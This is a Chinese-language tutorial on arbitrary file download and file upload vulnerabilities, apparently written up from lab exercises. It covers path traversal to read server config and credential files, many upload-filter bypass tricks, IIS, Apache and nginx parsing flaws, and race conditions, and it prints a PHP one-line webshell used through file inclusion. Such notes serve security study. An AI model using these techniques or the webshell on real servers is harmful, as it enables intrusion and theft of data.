任意文件的上传和下载

1.任意文件下载(高危)

  •  定义

        一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

  •     可以下载(参数没有限制)

可以通过../上一级的形式猜测下载配置文件,获取系统的账号密码

  • 挖洞的方式

        一般链接形式:
            download.php?path=
            down.php?file=
            data.php?file=
            download.php?filename=
        或者包含参数:
            &Src=
            &Inputfile=
            &Filepath=
            &Path=
            &Data=

  •  当遇到一个任意文件下载时,一般利用思路:

        下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
        下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
        下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。

  •   防御方法(漏洞修复)

        1.过滤".",使用户在url中不能回溯上级目录
        2.正则严格判断用户输入参数的格式
       3. php.ini配置open_basedir限定文件访问范围
            限制路径,只可以在这个路径下下载东西

2.任意文件上传(高危) 

2.1客户端

 通过js检测,在burp内抓包,将扩展名改为.php

 检测代码出现script就是前端

上传.jpg的形式,在burp进行抓包

 在burp里面更改文件扩展名

在upload里面存在hao.php 

首先取消拦截,复制图片地址

http://10.0.0.130:91/upload/upload/hao.php

2.2 服务端 

  • 黑名单

 上传特殊可解析后缀  .php3  .php5       修改apache配置文件,加入,php3和.php5,重启

插入.php3或者.php5

 http://10.0.0.130:91/upload/upload/202309121802212705.php3  不能解析

修改apache配置文件,加入,php3和.php5,重启

刷新页面,显示出来

 .htaccess   先上传.htaccess文件,在上传ha.jpg,会被解析为.php

先上传.htaccess文件

上传hao.jpg图片

 http://10.0.0.130:91/upload/upload/hao.jpg   会被解析为php

 利用PHP和 Windows环境的叠加特性4.php:.jpg

通过抓包改文件名为4.php:.jpg,以4.<形式传输文件内容

 上传jpg图片

通过burp抓包改为  4.php:.jpg

上传的为php形式,大小为零

找到放包的历史记录

文件名改为4.<或4.<<<或4.>>>或4.>><后

有了大小

 http://10.0.0.130:91/upload/upload/4.php

大小写混合绕过,把1.php改为1.phP 

 改名为hao.phP

 http://10.0.0.130:91/upload/upload/202309121935184766.phP

空格和点,写成1.php .  

 改名为  hao.php  .

  文件流特性绕过  ::$DATA

 hao.php::$DATA 

这个扩展名出不来

 ::$data  要把这个删掉

点空格点绕过   hao.php.  .    

 文件名改为hao.php.  .

 双后缀名绕过   hao.pphphp  

 ISS低版本5.x-6.x

目录解析   文件夹目录的扩展名为脚本扩展名,下面无论是什么文件都会被当成脚本解析(asp.cdx.asa.cer等)

打开网站2,新建一个文件夹C:\wwwtest\XYCMS

没有权限

  添加权限,重命名为123.asp

复制一个asp  

改名为jpg

http://10.0.0.130:82/123.asp/123.jpg  访问 

 ISS低版本5.x-6.x    文件解析    123.asp;.jpg

浏览器访问为图片

改为123.asp;.jpg

 http://10.0.0.130:82/123.asp;.jpg 

IIS7.5解析漏洞     fix_pathinfo   

在物理机搭建网站

在搜索栏输入iis点击


打开phpstudy 切换到iis

 

查看端口
                            

访问出现403   可以正常访问了

上传图片访问
是带有木马的图片

/.php加上这个

去掉这个勾

被解析了 

apache   从右往左开始解析,直到认识的为止

命名为不认识的形式 

nginx       /.php   fix_pathinfo与这个有关     

切换中间件

 将phpinfo.php改为phpinfo.jpg

应该为一个图片

 /.php加上这个被解析为php

为0是被防御,为1存在漏洞

  漏洞被防御 

  • 白名单 

白名单00截断

条件:php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc(魔术符号)需要为OFF状态
只能为.jpg形式

%00截断  

 hao.php%00    看一下版本 php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc需要为OFF状态

 二进制00截断

 ../upload/hao.php      多打几个空格,将第一个空格改为00

将第一个空格改为00

  改完后如果不变恢复一下默认值,重启burp

 直接访问木马即可

MIME绕过     Content-Type: image/gif  改头部信息         

Content-Type: image/gif  改为这个

  • 检查文件内容 

 文件包含    将扩展名改为png        文件包含  图片和木马结合文件包含

将D:\VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具中的test.jpg拖进一句话工具(随机插入在任何地方) 

 插入一句话木马 <?php @eval($_POST['123']);?>

右键打开图片可以看见有一句话木马

右键复制图片地址http://10.0.0.130:91/upload/upload/3820230913144850.jpg

点击文件包含漏洞

参数给变量,无论是什么形式都以脚本(php)解析

拼接http://10.0.0.130:91/upload/include.php?file=./upload/3820230913144850.jpg 查看图片以脚本执行了

 使用菜刀连接服务器

图片上传不了加头   上传的jpg图片右键查看变为gif要修改头   

含有一句话木马的jpg格式上传不了

头部添加GIF89a

以头来命名

 二次渲染
 图片带有一句话木马传到服务器,服务器检测通过,通过函数把图片生成一个新的图片,以前的删掉,二次渲染的图片一句话木马就没有了

  • 其他

条件竞争
服务器先允许你上传文件,然后检测是否合法,不合法再删除,我们要利用的就是在服务器删除前,访问到我们上传的php。
快速上传快速访问,服务器生成一个文件,不会被删除

清除变量

开始攻击

会时不时出现一个文件

 访问tj.php         http://192.168.134.1:90/upload/upload/tj.php

抓一个包

发送给测试器

 清除变量         

 线程数改为1

 会生成一个新的qing.php

两个同时开启一个上传,一个访问

服务器生成一个新的qing.php

访问服务器生成的qing.php,不会被删掉

  •     上传重命名竞争+Apache解析漏洞

  

 把php改名了

 发送给测试器快速点发送

可能会有一个两个没有被改名字 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/88609.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCV显示10bit Raw数据

参考&#xff1a;10 12 14bit图像存储格式&#xff0c;利用Opencv显示10bit Raw数据,并根据鼠标的移动显示对应位置的灰度值。其他bit位数的Raw数据方法类似。 代码实现&#xff1a; #include<opencv2/opencv.hpp> #include<iostream> #include<opencv/highgu…

【Vue.js】使用Element入门搭建登入注册界面axios中GET请求与POST请求跨域问题

一&#xff0c;ElementUI是什么&#xff1f; Element UI 是一个基于 Vue.js 的桌面端组件库&#xff0c;它提供了一套丰富的 UI 组件&#xff0c;用于构建用户界面。Element UI 的目标是提供简洁、易用、美观的组件&#xff0c;同时保持灵活性和可定制性 二&#xff0c;Element…

一创聚宽的实盘就要关闭了,有没有好用的实盘平台推荐

挺多的&#xff0c;比较普遍的是QMT和Ptrade&#xff0c;python语言&#xff0c;易上手&#xff0c;通用性好&#xff0c;要说适用性可以考虑Ptrade&#xff0c;问一下你的客户经理有没有&#xff0c;用Ptrade的券商也多&#xff0c;如果之前用一创聚宽你可以无缝切换&#xff…

【工具使用】Audition软件导入.sesx文件报错问题

一&#xff0c;简介 本文主要介绍了在使用Audition导入新的wav文件后&#xff0c;保存&#xff0c;然后再打开.sesx文件时报错&#xff1a;“ 错误: 文件已损坏或使用了不受支持的格式 XML FATAL ERROR: (line: 2835, col: 69) [ D:\Project\AE_Y2311\16channel_test\16_chann…

【趣味JavaScript】5年前端开发都没有搞懂toString和valueOf这两个方法!

&#x1f680; 个人主页 极客小俊 ✍&#x1f3fb; 作者简介&#xff1a;web开发者、设计师、技术分享博主 &#x1f40b; 希望大家多多支持一下, 我们一起进步&#xff01;&#x1f604; &#x1f3c5; 如果文章对你有帮助的话&#xff0c;欢迎评论 &#x1f4ac;点赞&#x1…

基于微信小程序的语言课学习系统设计与实现(源码+lw+部署文档+讲解等)

前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb;…

备受以太坊基金会青睐的 Hexlink,构建亿级用户涌入 Web3的入口

早在 2021 年 9 月&#xff0c;以太坊创始人 Vitalik Buterin 就曾提出了 EIP-4337&#xff08;账户抽象&#xff09;提案&#xff0c;并在去年 10 月对该提案进一步更新&#xff0c;引发行业的进一步关注。在今年 3 月&#xff0c;EIP-4337 提案正式通过审计&#xff0c;并成为…

解决电脑桌面软件图标变白的问题

文章目录 前言一、软件图标变白的原因二、解决方法1、显示隐藏项目2、清除图标缓存 前言 桌面软件太多了&#xff0c;导致有些杂乱&#xff0c;换了个显示器后&#xff0c;想着将桌面的软件分类&#xff0c;将其放到不同的目录下&#xff0c;结果有些软件放入文件夹后图标变成…

BERT: 面向语言理解的深度双向Transformer预训练

参考视频&#xff1a; BERT 论文逐段精读【论文精读】_哔哩哔哩_bilibili 背景 BERT算是NLP里程碑式工作&#xff01;让语言模型预训练出圈&#xff01; 使用预训练模型做特征表示的时候一般有两类策略&#xff1a; 1. 基于特征 feature based &#xff08;Elmo&#xff09;…

SQLAlchemy关联表删除策略设置

目录 SQLAlchemy关联表 常用的级联选项 外键 SQLAlchemy关联表 SQLAlchemy 是一个 Python 的 ORM&#xff08;对象关系映射&#xff09;库&#xff0c;它允许你在 Python 中使用类来表示数据库中的表&#xff0c;从而更方便地进行数据库操作。在 SQLAlchemy 中&#xff0c;可…

idea没有maven工具栏解决方法

背景&#xff1a;接手的一些旧项目&#xff0c;有pom文件&#xff0c;但是用idea打开的时候&#xff0c;没有认为是maven文件&#xff0c;所以没有maven工具栏&#xff0c;不能进行重新加载pom文件中的依赖。 解决方法&#xff1a;选中pom.xml文件&#xff0c;右键 选择添加为…

【CloudComapre】Ubuntu 20.04 下从源码编译后无法导入pcd文件

文章目录 原因解决方法 原因 我直接执行build/qCC/CloudCompare&#xff0c;是无法导入pcd文件的&#xff0c;会弹窗提示&#xff1a; [Load] Cant guess file format: unhandled file extension XXX这是由于没有安装软件&#xff0c;也就是说我们二次开发时必须要安装到系统…

【lesson11】环境变量

文章目录 环境变量的认识main函数参数问题 环境变量的认识 我们知道我们运行自己写的可执行程序的时候&#xff0c;我们必须带路径才能运行&#xff0c;可是执行系统指令的时候不用路径就能运行。 演示&#xff1a; 问题&#xff1a;系统命令可以直接运行&#xff0c;自己写…

作为一名独立开发者,如何获取客户?

很多程序员想成为一名独立开发者&#xff0c;从事自由职业&#xff0c;最大的困难在于如何赚钱&#xff0c;进一步来说&#xff0c;就是如何找到自己的客户&#xff0c;有很多开发者拥有丰富的经验&#xff0c;优秀的能力&#xff0c;但无法吸引客户。这篇文章的灵感正是为此而…

[密码学入门]仿射密码(Affine)

加密算法y(axb)mod N 解密算法x*(y-b)mod N(此处的为a关于N的乘法逆元&#xff0c;不是幂的概念&#xff09; 如何求&#xff0c;涉及的知识挺多&#xff0c;还没想好怎么写&#xff0c;丢番图方程&#xff0c;贝祖定理&#xff08;又译裴蜀定理&#xff09;&#xff0c;扩展欧…

【kafka实战】01 3分钟在Linux上安装kafka

本节采用docker安装Kafka。采用的是bitnami的镜像。Bitnami是一个提供各种流行应用的Docker镜像和软件包的公司。采用docker的方式3分钟就可以把我们想安装的程序运行起来&#xff0c;不得不说真的很方便啊&#xff0c;好了&#xff0c;开搞。使用前提&#xff1a;Linux虚拟机&…

使用Python接口自动化测试post请求和get请求,获取请求返回值

引言 我们在做python接口自动化测试时&#xff0c;接口的请求方法有get,post等&#xff1b;get和post请求传参&#xff0c;和获取接口响应数据的方法&#xff1b; 请求接口为Post时&#xff0c;传参方法 我们在使用python中requests库做接口测试时&#xff0c;在做post接口测试…

软件安全测试详细总结

摘要 安全性测试从冷门的话题&#xff0c;随着国内各大知名网站频繁被攻击&#xff0c;重要社区用户信息被泄露&#xff0c;逐步被各方所重视。而具体怎么做软件安全性测试&#xff0c;防止骇客有机可乘&#xff0c;国内普遍处于才起步的状态。今天笔者就自己的经验&#xff0…

大咖共探AGI时代机遇,腾讯云助力大模型规模化应用提速

引言 2023 年&#xff0c;科技圈的“顶流”莫过于大模型。自 ChatGPT 的问世拉开大模型与生成式 AI 产业的发展序幕后&#xff0c;国内大模型快速跟进&#xff0c;已完成从技术到产品、再到商业的阶段跨越&#xff0c;并深入垂直行业领域。 新技术的爆发&#xff0c;催生新的应…

网络安全内网渗透之DNS隧道实验--dnscat2直连模式

目录 一、DNS隧道攻击原理 二、DNS隧道工具 &#xff08;一&#xff09;安装dnscat2服务端 &#xff08;二&#xff09;启动服务器端 &#xff08;三&#xff09;在目标机器上安装客户端 &#xff08;四&#xff09;反弹shell 一、DNS隧道攻击原理 在进行DNS查询时&#x…